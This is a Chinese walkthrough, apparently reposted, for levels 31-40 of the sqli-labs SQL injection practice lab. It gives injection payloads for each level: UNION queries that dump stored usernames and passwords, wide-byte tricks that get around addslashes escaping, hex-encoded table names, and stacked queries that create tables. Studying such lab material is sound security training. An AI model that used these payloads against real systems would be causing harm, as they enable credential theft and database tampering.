sql-lib闯关秘籍之31-40关

Posted 泷十三

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql-lib闯关秘籍之31-40关相关的知识,希望对你有一定的参考价值。

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关sql-lib闯关秘籍之11-20关sql-lib闯关秘籍之21-30关

不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~

 第三十一关

和第三十关基本一样,在双引号后面添加括号进行闭合

 

 语句可以有两种,?id=-1")union select 1,2,database() --+    或者   ?id=1&id=-1")union select 1,2,database() --+

也可以这样                   ?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23  区分大小写用%23闭合

 获得用户名密码  ?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+(直接照着30关复制粘贴就行)

第三十二关

这关是宽字节绕过引号转义
addslashes()会在单引号前加一个\\ 例如:I\'m hacker 传入addslashes(),得到:I\\\'m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6\' 这样的构造时,\' 前面加的 \\ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \\ 的作用。

 获得数据库名         ?id=-1%E6\' union select 1,version(),database() --+

 

 在爆列的时候我们要用到‘user’,有单引号,我们用十六进制编码替代,users 使用十六进制编码得到7573657273,构造为0x7573657273

 获取列名   ?id=-1%E6\' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

 

获得用户名密码(都一样我直接给结果)?id=-1%E6\' union select 1,2,group_concat(username,0x3b,password) from users--+

第三十三关

和第三十二关一模一样,也不知道为什么要变成两关

 

 

 第三十四关

变成三十二和三十三关的post方式

获取数据库版本和数据库名      uname=admin%99\' union select version(),database()--+&passwd=admin&submit=Submit

 

 

 获取数据库密码    uname=admin%99\'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit(注意这关uname好像只有两个显示位)

 

 

 注意获得列名的时候引号要转义

第三十五关

测试一下,发现id周围没有单引号或双引号,现在就明白题目的标题了,不需要要过,直接注入,无比简单,不再赘述。

 

 

 获得版本库名       ?id=-1 union select 1,version(),database()--+

 

 

 获取用户名密码   ?id=-1 union select 1,2,group_concat(username,0x3b,password) from users#  (其他的语句和第一关差不多,自己翻一翻就找到了)

 

 

 爆表名   ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名     ?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

爆用户名和密码     ?id=-1  union select 1,2,group_concat(username,0x7e,password) from users--+

第三十六关

我发现用二十二关的方法来做完全可以,因为这关可以通过宽字节 %df 或者utf-16来解决,二十二关是utf-16

获取用户名密码   ?id=-1%E6\' union select 1,2,group_concat(username,0x3b,password) from users--+

 

 

 宽字节的话就是这个样子

0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+

 

 

第三十七关

这一关还是用post的方式和三十四关基本一样

获取数据库名    uname=admin%99\'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

 

 

 获取用户名密码     uname=admin%99\'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

 

 

 也可以用%df进行绕过  uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

 

 

 第三十八关

这一关又是新的篇章,用堆叠注入。mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)分号我们可以加入注入的新的语句

这关主要是往数据库中写入些什么东西(用%23进行注释)

获得版本和数据库名   ?id=0%FE\' union select 1,version(),database() %23

获得表名    ?id=0%FE\' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23(为下文做铺垫)

 

 

 

获得列名     ?id=0%FE\' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0%FE\' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

 

 

 

 当然最主要的不是这个,是新建表啥的              ?id=1\';create table test like users;%23

 

 

 再查表的时候就已经发现有我们刚才新建的表了

 

 

 第三十九关

和三十八关一样,没有单引号闭合,堆叠注入

 获得版本和数据库名   ?id=0 union select 1,version(),database() %23

 

 

 获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

 

 

 和三十八关一样,也可以进行新建表 ?id=1 ;create table test like users;%23

第四十关

和三十八关基本一样,加括号,堆叠注入

获得列名

 

 

 获得用户名密码

 

 和三十八关一样,也可以进行新建表 ?id=1‘) ;create table test like users;%23

31-40关结束

 

该文章有参考了以下的网页:

sqli-lab教程——1-35通关Writeup

SQL注入靶场sqli-labs 1-65关全部通关教程

SQLi_Labs通关文档【1-65关】

 

以上是关于sql-lib闯关秘籍之31-40关的主要内容,如果未能解决你的问题,请参考以下文章

sql-lib闯关秘籍之51-60关

sql-lib闯关秘籍之41-50关

sql-lib闯关秘籍之21-30关

sql-lib闯关秘籍之11-20关

sql-lib闯关秘籍之1-10关

sqli-labs闯关之31-40关